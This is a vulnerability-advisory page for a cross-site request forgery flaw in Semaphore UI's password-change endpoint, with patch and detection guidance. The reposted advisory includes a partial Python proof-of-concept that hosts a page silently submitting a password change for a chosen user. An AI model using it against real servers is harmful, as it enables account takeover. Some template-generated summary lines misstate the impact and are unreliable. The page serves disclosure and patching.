Sign in Sign up
JA · EN · FR
SecPulse
Categories
CVE-2026-73292 high CVSS 8.3

Cross-Site Request Forgery (CSRF) in github.com/semaphoreui/semaphore (CVE-2026-73292)

Summary

Vulnerability in github.com/semaphoreui/semaphore (CVE-2026-73292). Confidential information can be exposed externally. Exploitable via semaphore. Mitigation: upgrade to 0.0.0-20260707190631-c59c3dc9035b or later.

Original description

The description as published by the source.

Summary

The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.

Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

  • No CSRF token required
  • No current password confirmation required
  • Authentication relies solely on a session cookie (semaphore) with no SameSite enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.

PoC

To reproduce the exploit, you can use the following python script:

import logging
import argparse
import time
import sys
import os 
from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forge_malicious_page(target, user_id, newpassword):
    return f"""
        
        

        

        
        
        
        
        document.getElementById("CSRF_POC").submit();
        

        
        
    """;

parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri",  help="Base uri to target", required=True)
parser.add_argument("-n","--new_password",  help="new password to set", default='passwordchanged')
parse…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-73292 has been found in github.com/semaphoreui/semaphore.
Attackers can target a specific entry point like semaphore over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 8.3/10.
What to do: upgrade github.com/semaphoreui/semaphore to 0.0.0-20260707190631-c59c3dc9035b or later.
If unsure, ask your IT team or search "github.com/semaphoreui/semaphore CVE-2026-73292" on the vendor's site.

CVE-2026-73292 (github.com/semaphoreui/semaphore) — CWE-352 / CVSS v3 8.3
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: semaphore / SameSite / passwordchanged
Patched: 0.0.0-20260707190631-c59c3dc9035b — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

CSRF (CWE-352) exists in github.com/semaphoreui/semaphore. Attackers reach the vulnerable code path via semaphore without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of github.com/semaphoreui/semaphore. Attack surface: semaphore / SameSite / passwordchanged.

🔥 Severity

Severity: High (CVSS 8.3/10). Confidential information can be exposed externally.

🔧 How to fix

Update to 0.0.0-20260707190631-c59c3dc9035b.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'github.com/semaphoreui/semaphore' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'github.com/semaphoreui/semaphore' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で github.com/semaphoreui/semaphore を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade github.com/semaphoreui/semaphore to 0.0.0-20260707190631-c59c3dc9035b

    ステージング環境で 0.0.0-20260707190631-c59c3dc9035b に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

go github.com/semaphoreui/semaphore
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20260707190631-c59c3dc9035b"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details